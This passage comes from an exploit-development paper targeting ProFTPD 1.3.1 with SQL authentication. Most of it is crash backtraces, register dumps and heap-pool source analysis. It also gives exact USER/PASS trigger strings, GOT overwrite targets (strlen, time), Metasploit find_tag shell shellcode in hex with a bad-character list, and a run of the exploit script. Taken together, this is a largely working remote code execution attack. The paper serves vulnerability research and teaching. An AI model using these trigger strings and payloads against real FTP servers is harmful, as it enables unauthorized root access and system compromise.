0xbfd0a388, destroy_pool EIP: 0x08074a37, EBP: 0xbfd0a438, pr_auth_getgroups EIP: 0x08074a98, EBP: 0xbfd0a468, auth_anonymous_group EIP: 0x08074ea7, EBP: 0xbfd0a4a8, pr_auth_get_anon_config EIP: 0x080c5691, EBP: 0xbfd0a4d8, sql_pre_pass EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch EIP: 0x0804c9bb, EBP: 0xbfd0a5d8, pr_cmd_dispatch EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main EIP: 0x08053109, EBP: 0xbfd0aea8, main EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main EIP: 0x0804b841, EBP: 0x00000000, _start # cat regs.98014.0 EAX: 0x33614132 EBX: 0x00009bd9 ECX: 0x00000002 EDX: 0x0882ea84 ESI: 0x080d4960 EDI: 0x088161e8 EBP: 0xbfd0a368 ESP: 0xbfd0a350 EIP: 0x080544e0 EAX contains a corrupted value. Looking at it further: This GDB was configured as "i486-linux-gnu"... (gdb) l *0x080544e0 0x80544e0 is in free_blocks (pool.c:138). 133 134 block_freelist = blok; 135 136 /* Adjust first_avail pointers */ 137 138 while (blok->h.next) { 139 chk_on_blk_list(blok, old_free_list); 140 blok->h.first_avail = (char *) (blok + 1); 141 blok = blok->h.next; 142 } This is semi-interesting, as we can overwrite something to point to the end of the block (the start of the allocated usable memory). However, the blok = blok->h.next loop makes things a lot more trickier than we'd like (finding a suitable pointer that terminates the loop without crashing, etc.) Moving on... ------[ 3.3.6 - b975726b4537662f3f5ddf377ea26c20 backtrace ] # cat bt_frames.1575.0 EIP: 0x080544e0, EBP: 0xbfd0a338, free_blocks EIP: 0x08054b30, EBP: 0xbfd0a348, clear_pool EIP: 0x08054bd1, EBP: 0xbfd0a358, destroy_pool EIP: 0x08074a37, EBP: 0xbfd0a408, pr_auth_getgroups EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main EIP: 0x08053109, EBP: 0xbfd0aea8, main EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main EIP: 0x0804b841, EBP: 0x00000000, _start # cat regs.1575.0 EAX: 0x33614132 EBX: 0x0882d29c ECX: 0x00000002 EDX: 0x088398a4 ESI: 0x080d4960 EDI: 0x088161e8 EBP: 0xbfd0a338 ESP: 0xbfd0a320 EIP: 0x080544e0 This is a duplicate of the previous one.. ------[ 3.3.7 - ccbbd918ad0dbc7a869184dc2eb9cc50 backtrace ] # cat bt_frames.1081.0 EIP: 0x080544e0, EBP: 0xbfd0a318, free_blocks EIP: 0x08054b30, EBP: 0xbfd0a328, clear_pool EIP: 0x08054bd1, EBP: 0xbfd0a338, destroy_pool EIP: 0x08054b0c, EBP: 0xbfd0a348, clear_pool EIP: 0x08054bd1, EBP: 0xbfd0a358, destroy_pool EIP: 0x08074a37, EBP: 0xbfd0a408, pr_auth_getgroups EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main EIP: 0x08053109, EBP: 0xbfd0aea8, main EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main EIP: 0x0804b841, EBP: 0x00000000, _start # cat regs.1081.0 EAX: 0x33614132 EBX: 0x0882d29c ECX: 0x00000002 EDX: 0x08839484 ESI: 0x080d4960 EDI: 0x088161e8 EBP: 0xbfd0a318 ESP: 0xbfd0a300 EIP: 0x080544e0 Another duplicate :( ------[ 3.3.8 - f1bfd5428c97b9d68a4beb6fb8286b70 backtrace ] # cat bt_frames.11512.0 EIP: 0xb7b7e67a, EBP: 0xbfd0a118, memset EIP: 0x080c2520, EBP: 0xbfd0a148, _sql_make_cmd EIP: 0x080c4344, EBP: 0xbfd0a1f8, _sql_getpasswd EIP: 0x080c514d, EBP: 0xbfd0a2d8, _sql_getgroups EIP: 0x080ca70e, EBP: 0xbfd0a308, cmd_getgroups EIP: 0x080718a6, EBP: 0xbfd0a328, call_module EIP: 0x0807339e, EBP: 0xbfd0a358, dispatch_auth EIP: 0x0807481d, EBP: 0xbfd0a408, pr_auth_getgroups EIP: 0x08074a98, EBP: 0xbfd0a438, auth_anonymous_group EIP: 0x08074ea7, EBP: 0xbfd0a478, pr_auth_get_anon_config EIP: 0x080a4b5c, EBP: 0xbfd0a4d8, auth_user EIP: 0x080718a6, EBP: 0xbfd0a4f8, call_module EIP: 0x0804c651, EBP: 0xbfd0a5a8, _dispatch EIP: 0x0804caba, EBP: 0xbfd0a5d8, pr_cmd_dispatch EIP: 0x0804d4ee, EBP: 0xbfd0aa48, cmd_loop EIP: 0x0804ea36, EBP: 0xbfd0ab88, fork_server EIP: 0x0804f1cf, EBP: 0xbfd0acf8, daemon_loop EIP: 0x080522c6, EBP: 0xbfd0ad28, standalone_main EIP: 0x08053109, EBP: 0xbfd0aea8, main EIP: 0xb7b1c685, EBP: 0xbfd0af18, __libc_start_main EIP: 0x0804b841, EBP: 0x00000000, _start # cat regs.11512.0 EAX: 0x00000000 EBX: 0x0882da74 ECX: 0x00000024 EDX: 0x00000001 ESI: 0x080d4960 EDI: 0x41346141 EBP: 0xbfd0a118 ESP: 0xbfd0a0e8 EIP: 0xb7b7e67a EDI is a pointer we control. Looking at it further: (gdb) l *0x080c2520 0x80c2520 is in _sql_make_cmd (mod_sql.c:350). 345 register unsigned int i = 0; 346 pool *newpool = NULL; 347 cmd_rec *cmd = NULL; 348 va_list args; 349 350 newpool = make_sub_pool(p); 351 cmd = pcalloc(newpool, sizeof(cmd_rec)); 352 cmd->argc = argc; 353 cmd->stash_index = -1; 354 cmd->pool = newpool; (gdb) 355 356 cmd->argv = pcalloc(newpool, sizeof(void *) * (argc + 1)); 357 cmd->tmp_pool = newpool; 358 cmd->server = main_server; 359 360 va_start(args, argc); 361 362 for (i = 0; i < argc; i++) 363 cmd->argv[i] = (void *) va_arg(args, char *); 364 (gdb) 365 va_end(args); 366 367 cmd->argv[argc] = NULL; 368 369 return cmd; 370 } 371 372 static int check_response(modret_t *mr) { 373 if (!MODRET_ISERROR(mr)) 374 return 0; Interesting, it's in the make_sub_pool() code. Looking at it further: --- 310 struct pool *make_sub_pool(struct pool *p) { 311 union block_hdr *blok; 312 pool *new_pool; 313 314 pr_alarms_block(); 315 316 blok = new_block(0, FALSE); 317 318 new_pool = (pool *) blok->h.first_avail; 319 blok->h.first_avail += POOL_HDR_BYTES; 320 321 memset(new_pool, 0, sizeof(struct pool)); 322 new_pool->free_first_avail = blok->h.first_avail; 323 new_pool->first = new_pool->last = blok; 324 325 if (p) { 326 new_pool->parent = p; 327 new_pool->sub_next = p->sub_pools; 328 329 if (new_pool->sub_next) 330 new_pool->sub_next->sub_prev = new_pool; 331 332 p->sub_pools = new_pool; 333 } 334 335 pr_alarms_unblock(); 336 337 return new_pool; 338 } --- So, if we got it returning an arbitrary pointer, allocations from this pool (if within the default pool size) will overwrite memory we control.. let's see what could be (include/dirtree.h): --- 96 typedef struct cmd_struc { 97 pool *pool; 98 server_rec *server; 99 config_rec *config; 100 pool *tmp_pool; /* Temporary pool which only exists 101 * while the cmd's handler is running 102 */ 103 int argc; 104 105 char *arg; /* entire argument (excluding command) */ 106 char **argv; 107 char *group; /* Command grouping */ 108 109 int class; /* The command class */ 110 int stash_index; /* hack to speed up symbol hashing in modules.c */ 111 pr_table_t *notes; /* Private data for passing/retaining between handlers */ 112 } cmd_rec; --- Hmm, so we could overwrite pointers with somewhat controllable contents (don't forget the SELECT .. FROM .. WHERE type stuff interfering..) ------[ 3.3.9 - Summary ] Out of the backtraces it has generated, the following look most useful (in usefulness looking order :p): - 11380f2c8ce44d29b93b9bc6308692ae - f1bfd5428c97b9d68a4beb6fb8286b70 - 914b175392625fe75c2b16dc18bfb250 Considering the code path taken, the first is the most easily exploitable. Unfortunately, we haven't got a clean EIP overwrite, and instead require returning a suitable pointer that will trash stuff near by it... depending on exploitation avenue, this may make things rather complicated. --[ 3.4 - Exploitation avenues ] So far, we've found an approach that allows us to return a pointer to be used later on where data we control is used in conjunction with other data. What can we do with that? There's a couple of possibilities: - Work out how to indicate authentication has succeeded - Should leave us with the ftpd with nobody (revertable to root) privileges, and access to /. That'd be pretty neat ;D - If we munge the heap too much, however, it may crash. Depending on what's being overwritten etc, it may be unavoidable. - Run our own shellcode - We can revert to root with a setresuid() call. - More anti-forensically acceptable / less effort / etc :p ------[ 3.4.1 - Shellcode approach ] By returning a pointer that leads us to overwrite a function pointer with our contents, we can run shellcode. All that's required is a single address. Let's say for arguments say, we use USER ...SHELLCODE%m%a..<POINTER TO RETURN><OVERWRITE CONTENT> We would overwrite the function pointer with a pointer to shellcode (our original pointer - X bytes to hit it). If we need to brute force a target pointer to overwrite, we can probably repeat <OVERWRITE CONTENT> several times to cover more memory than normal. Due to space considerations, it would be best to use a find sock / recv() tag shellcode as a stager, then sending a another payload later on. If shellcode size is a problem, it would be possible to spray our shellcode across the heap in the fake auth attempt, and use an egg hunter code in the trigger auth attempt. Ideally we would have a register or stack contents to give us an idea of where to start in case of ASLR. There are perhaps some other techniques that may be possible on certain configurations, such as inputting the shellcode via reverse DNS, or in the ident lookup text. While possible, it's not entirely needed at this point in time and wasn't explored further. Talking about shellcode, we should look at what character restrictions have. Obviously, \x0d, \x0a, \x00 would be problematic since FTP is a text line based protocol. Reading further over the contrib/mod_sql_mysql.c code, we see that we have several other restrictions, as documented in [8], which gives us the following bad characters: \x0d (\r), \x0a (\n), \x00, \x27 ('), \x22 ("), \x08 (\b), \x09 (\t) \x1b (\Z), \x5c (\\), \x5f (_), \x25 (%) (That is, assuming we are exploiting ProFTPD getting auth information from MySQL. If it's getting information from Postgresql, then the bad character restrictions are probably different). All in all, those restrictions aren't too bad, and some light experimentation implies it should be fine to use, as the following pastes show: --- msf payload(shell_find_tag) > generate -b "\x00\x27\x22\x08\x0a\x0d\x09\x1B\x5c\x5f" -t c -o PrependSetresuid=true /* * linux/x86/shell_find_tag - 102 bytes * http://www.metasploit.com * Encoder: x86/fnstenv_mov * AppendExit=false, PrependSetresuid=true, TAG=2pDv, * PrependSetuid=false, PrependSetreuid=false */ unsigned char buf[] = "\x6a\x14\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x12\x87" "\xe9\xb7\x83\xeb\xfc\xe2\xf4\x23\x4e\xd8\x6c\xe5\x64\x59\x13" "\xdf\x07\xd8\x6c\x41\x0e\x0f\xdd\x52\x30\xe3\xe4\x44\xd4\x60" "\x56\x94\x7c\x8f\x48\x13\xed\x8f\xef\xdf\x07\x68\x89\x20\xf7" "\xad\xc1\x67\x77\xb6\x3e\xe9\xed\xeb\xee\x78\xb8\xb1\x7a\x92" "\xce\x90\x4f\x78\x8c\xb1\x2e\x40\xef\xc6\x98\x61\xef\x81\x98" "\x70\xee\x87\x3e\xf1\xd5\xba\x3e\xf3\x4a\x69\xb7"; ... msf payload(find_tag) > use payload/linux/x86/shell/find_tag msf payload(find_tag) > generate -b "\x00\x27\x22\x08\x0a\x0d\x09\x1B\x5c\x5f" -t c -o PrependSetresuid=true /* * linux/x86/shell/find_tag - 74 bytes (stage 1) * http://www.metasploit.com * Encoder: x86/shikata_ga_nai * AppendExit=false, PrependSetresuid=true, TAG=qvkV, * PrependSetuid=false, PrependSetreuid=false */ unsigned char buf[] = "\x31\xc9\xbf\xd3\xde\x9e\x99\xdb\xc9\xd9\x74\x24\xf4\x5b\xb1" "\x0c\x83\xc3\x04\x31\x7b\x0f\x03\x7b\x0f\xe2\x26\xef\x57\xa8" "\x13\xe7\x8b\x7b\x07\xc5\xcc\x4d\x9c\x85\x45\x4b\x48\x6a\xe1" "\x9e\xdf\x3c\x5e\x16\x3e\x46\x9b\x4e\x3f\x46\x36\xe9\xe7\x84" "\x46\x74\x29\x66\x31\x1c\x03\xfd\x4d\xbd\x57\x50\x52\xa4"; /* * linux/x86/shell/find_tag - 36 bytes (stage 2) * http://www.metasploit.com */ unsigned char buf[] = "\x89\xfb\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x6a\x0b" "\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3" "\x52\x53\x89\xe1\xcd\x80"; --- We can note down that we require 74 bytes or so for the shellcode. If character encoding is enabled in ProFTPD (via mod_lang), this may incur further restrictions in characters we can use, or alternatively require decoding our payload, so that when it's encoded, it is correct. If possible/suitable, that is :p If the pointers we are after contain a bad character, we're in a little bit of trouble :| ------[ 3.4.2 - Data manipulation ] There are plenty of global variables that can be modified in ProFTPD, that can/may be useful for data manipulation. grep'ing the src/ directory for "authenticated" shows some interesting code: --- 288 static void shutdown_exit(void *d1, void *d2, void *d3, void *d4) { 289 if (check_shutmsg(&shut, &deny, &disc, shutmsg, sizeof(shutmsg)) == 1) { 290 char *user; 291 time_t now; 292 char *msg; 293 const char *serveraddress; 294 config_rec *c = NULL; 295 unsigned char *authenticated = get_param_ptr(main_server->conf, 296 "authenticated", FALSE); 297 ... 388 if (c->requires_auth && cmd_auth_chk && !cmd_auth_chk(cmd)) 389 return -1; 390 ... (cmd_auth_chk being a .bss function pointer) 393 cmdargstr = make_arg_str(cmd->tmp_pool, cmd->argc, cmd->argv); 394 395 if (cmd_type == CMD) { 396 397 /* The client has successfully authenticated... */ 398 if (session.user) { 399 char *args = strchr(cmdargstr, ' '); 400 401 pr_scoreboard_entry_update(session.pid, 402 PR_SCORE_CMD, "%s", cmd->argv[0], NULL, NULL); 403 pr_scoreboard_entry_update(session.pid, 404 PR_SCORE_CMD_ARG, "%s", args ? 405 pr_fs_decode_path(cmd->tmp_pool, (args+1)) : "", NULL, NULL); 406 407 pr_proctitle_set("%s - %s: %s", session.user, session.proc_prefix, 408 cmdargstr); 409 410 /* ...else the client has not yet authenticated */ 411 } else { 412 pr_proctitle_set("%s:%d: %s", session.c->remote_addr ? 413 pr_netaddr_get_ipstr(session.c->remote_addr) : "?", 414 session.c->remote_port ? session.c->remote_port : 0, cmdargstr); 415 } 416 } --- in modules/mod_auth.c: --- 59 /* auth_cmd_chk_cb() is hooked into the main server's auth_hook function, 60 * so that we can deny all commands until authentication is complete. 61 */ 62 static int auth_cmd_chk_cb(cmd_rec *cmd) { 63 unsigned char *authenticated = get_param_ptr(cmd->server->conf, 64 "authenticated", FALSE); 65 66 if (!authenticated || *authenticated == FALSE) { 67 pr_response_send(R_530, _("Please login with USER and PASS")); 68 return FALSE; 69 } 70 71 return TRUE; 72 } 73 --- The authenticated configuration directive is set: --- 1846 c = add_config_param_set(&cmd->server->conf, "authenticated", 1, NULL); 1847 c->argv[0] = pcalloc(c->pool, sizeof(unsigned char)); 1848 *((unsigned char *) c->argv[0]) = TRUE; --- It seems a little complicated to call due to other code around it.. but it'd probably be possible to with a bit of effort and the stack wasn't randomized, or maybe some other approaches. That said, the author isn't going to spend much time looking at it. One last thought on the matter: --- 192 /* By default, enable auth checking */ 193 set_auth_check(auth_cmd_chk_cb); --- If authentication is bypassed, but setresuid() is not callable (via NX, or whatever), then there is a slight restriction of the user id it has by default: # cat /proc/19840/status Name: proftpd State: T (tracing stop) Tgid: 19840 Pid: 19840 PPid: 19830 TracerPid: 19846 Uid: 0 65534 0 65534 Gid: 65534 65534 65534 65534 FDSize: 32 Groups: 65534 ... CapInh: 0000000000000000 CapPrm: ffffffffffffffff CapEff: 0000000000000000 CapBnd: ffffffffffffffff UID/GID list in real, effective, saved, fsuid format. Without reverting privileges, it limits what we can do. That said, it allows for a lot of information leaking if the directory permissions aren't too strict / acl's aren't too strict. --[ 4 - Writing an exploit ] Before writing an exploit, we should quickly review what we have found out before: - Variable substitution allows us expand past the allocated 4096 bytes - %m/%r duplicates our input - %a gives us our IP address - %f gives us - - %T gives us 0.0 - %Z gives us {UNKNOWN TAG} - %l gives us UNKNOWN if ident checking is disabled (default).. we'll use it even though it's not ideal (ident could be enabled, and if the box where the exploit is ran from is running ident, it could affect the ProFTPD heap layout more. %a isn't all that good for a remote exploit, as the byte count can differ (attacking from 1.2.3.4 vs 136.246.139.246. We'll try excluding that for now, although it's useful for consuming small chunks :| In order to exploit this vulnerability, we can re-use some of our existing code to find the input strings needed against new targets when we can replicate a target environment. ------[ 4.1 - Exploitation via arbitrary pointer return ] So, let's see, what do we need to do? - Find a suitable trigger string that allows us, say: - 16 byte overwrite (since our offset is 12 for first_avail pointer) - 74 bytes of shellcode. Should be plenty of space, and enough to do interesting things with. - Find a suitable target. For the most part, the GOT seems a good target, though this may be reassessed later on. - Ideally you'd want to use a libc function that will be used next. Due to the style of attack we're using, if it uses another libc function, we may overwrite it with crap (crap being stuff like table entries / names / our expanded string) :( After some experimentation, I came up with the following input strings to trigger the vulnerability with a suitable call tree: - USER %T%m%Z%m%T%l%m%f%l%m%lA%T%m%f%f%l%m%m%T%m%f%m%m%m%mA%m%f%f%l%m%TA%m% m%f%l%TA%fA%l%Z%fA%T%T%l%f%l%f%f%Z%l%m%Z%f%l%T%f%Z%fAAA%Z%l%m%fA%l%m%TA%ZA% f%lAA%f%m%Z%Z%Z%T%Z%f%m%Z%l%fA%Z - PASS invalid - USER AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAA%T%f%TA%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA% m%T%m%m%Z%T%m%Z%lA%T%l%l%T%f%Z%m%f%f%T%f%Z%l%m%TA%mAa0Aa1Aa2Aa3Aa4A And we have a crash writing to 0x41346141 ;) With that info in hand, we can start writing the exploit.. let's find a target to overwrite.. From glancing over the back traces, it looks like mysql_real_query() is a suitable target. 080e81a8 R_386_JUMP_SLOT mysql_real_query Plugging that in, and we get: Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb7c7a6b0 (LWP 12830)] 0x41414141 in ?? () (gdb) bt #0 0x41414141 in ?? () #1 0x080c0ea1 in cmd_select (cmd=0x98ae7ec) at mod_sql_mysql.c:838 Well, that's good. Not entirely what I was expecting though. Looking at the backtrace, we see it's calling time(NULL), so let's see: 080e8218 R_386_JUMP_SLOT time 4187 int sql_log(int level, const char *fmt, ...) { 4188 char buf[PR_TUNABLE_BUFFER_SIZE] = {'\0'}; 4189 time_t timestamp = time(NULL); 4190 struct tm *t = NULL; 4191 va_list msg; So, it looks like time is a better target. Updating our exploit: Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb7c7a6b0 (LWP 12923)] 0x72657375 in ?? () (gdb) That looks better (>>> "72657375".decode('hex') -> 'resu') (gdb) x/s 0x080e8218 0x80e8218 <_GLOBAL_OFFSET_TABLE_+548>: "userid, passwd, uid, gid, homedir, shell FROM ftpuser WHERE (userid='", 'A' <repeats 74 times>, "0.0-0.0A{UNKNOWN TAG}", 'A' <repeats 36 times>... Looking further (gdb) call strlen(0x080e8218) $1 = 4155 (gdb) x/s 0x080e8218+4155-128 0x80e91d3 <scoreboard_file+2963>: "%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%m%T%m%m%Z%T% m%Z%lA%T%l%l%T%f%Z%m%f%f%T%f%Z%l%m%TA%mAa0Aa1Aa2Aa3\030\202\016" (gdb) x/40x 0x080e8218+4155-64 0x80e9213 <[...]_file+3027>: 0x256d2554 0x255a256d 0x256d2554 0x416c255a 0x80e9223 <[...]_file+3043>: 0x6c255425 0x54256c25 0x5a256625 0x66256d25 0x80e9233 <[...]_file+3059>: 0x54256625 0x5a256625 0x6d256c25 0x25415425 0x80e9243 <[...]_file+3075>: 0x3061416d 0x41316141 0x61413261 0x0e821833 Playing around further, we see that strlen() is called before that, so further experimentation reveals we want to overwrite: 080e819c R_386_JUMP_SLOT strlen (Code for this can be found in [9]) And our offset is 0x080e819c-358.. Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb7c7a6b0 (LWP 13357)] 0x41306141 in ?? () So, we've made it jump to another pattern in msf.. which we can replace with a pointer to our shellcode.. which will be: (gdb) x/s 0x080e819c 0x80e819c <_GLOBAL_OFFSET_TABLE_+424>: "Aa0Aa1Aa2Aa36\200\016\b{UNKNOWN TAG}", 'A' <repeats 74 times>, "%T%f%TA%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%m%T%m %m%Z%T%m%Z%lA%T%l%l%T%f"... (gdb) x/s 0x080e819c+29 0x80e81b9 <_GLOBAL_OFFSET_TABLE_+453>: 'A' <repeats 74 times>, "%T%f%TA%Z%m%Z%mA%m%ZA%Z%l%mA%T%mA%T%m%f%ZA%m%f%m%Z%m%T%m%T%m%f%fA%ZA%m%T%m %m%Z%T%m%Z%lA%T%l%l%T%f%Z%m%f%f%T%f%Z%l%m%TA%mAa0Aa1"... To hit our A's. We can now use a suitable stager findsock/execve shell... We'll use the one we found earlier with metasploit. Verifying that we can hit our shellcode, we see: Program received signal SIGTRAP, Trace/breakpoint trap. [Switching to Thread 0xb7c7a6b0 (LWP 13476)] 0x080e81ba in _GLOBAL_OFFSET_TABLE_ () So, now we get to validate the shellcode works as expected (code can be found in [10]) Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 0xb7b666b0 (LWP 13648)] 0xbf86cad0 in ?? () (gdb) x/10i $eip 0xbf86cad0: mov %edi,%ebx 0xbf86cad2: push $0x2 0xbf86cad4: pop %ecx 0xbf86cad5: push $0x3f 0xbf86cad7: pop %eax 0xbf86cad8: int $0x80 0xbf86cada: dec %ecx 0xbf86cadb: jns 0xbf86cad5 0xbf86cadd: push $0xb 0xbf86cadf: pop %eax Whoops. Not so much. The stager code works by reading from the socket to the stack, and jumping to the stack once complete. It seems that the kernel I'm using doesn't make the stack executable even if you setarch/personality it. We could work around that short coming in metasploit by changing our shellcode to read() into a different buffer, or mmap() some suitable memory, or one of a hundred things. For now though, I'll cheat and install the generic kernel, and try to finish off this paper :) Installing the ubuntu -generic kernel, we see (in gdb): --- [New process 4936] Executing new program: /bin/dash (no debugging symbols found) warning: Cannot initialize thread debugging library: generic error warning: Cannot initialize thread debugging library: generic error (no debugging symbols found) [New process 4936] (no debugging symbols found) --- # python exploitsc.py 127.0.0.1 Banner is [220 ProFTPD 1.3.1 Server (ProFTPD Default Installation) [127.0.0.1]] 331 Password required for %T%m%Z%m%T%l%m%f%l%m%lA%T%m%f%f%l%m%m%T%m%f%m%m%m %mA%m%f%f%l%m%TA%m%m%f%l%TA%fA%l%Z%fA%T%T%l%f%l%f%f%Z%l%m%Z%f%l%T%f%Z%fAAA% Z%l%m%fA%l%m%TA%ZA%f%lAA%f%m%Z%Z%Z%T%Z%f%m%Z%l%fA%Z 530 Login incorrect.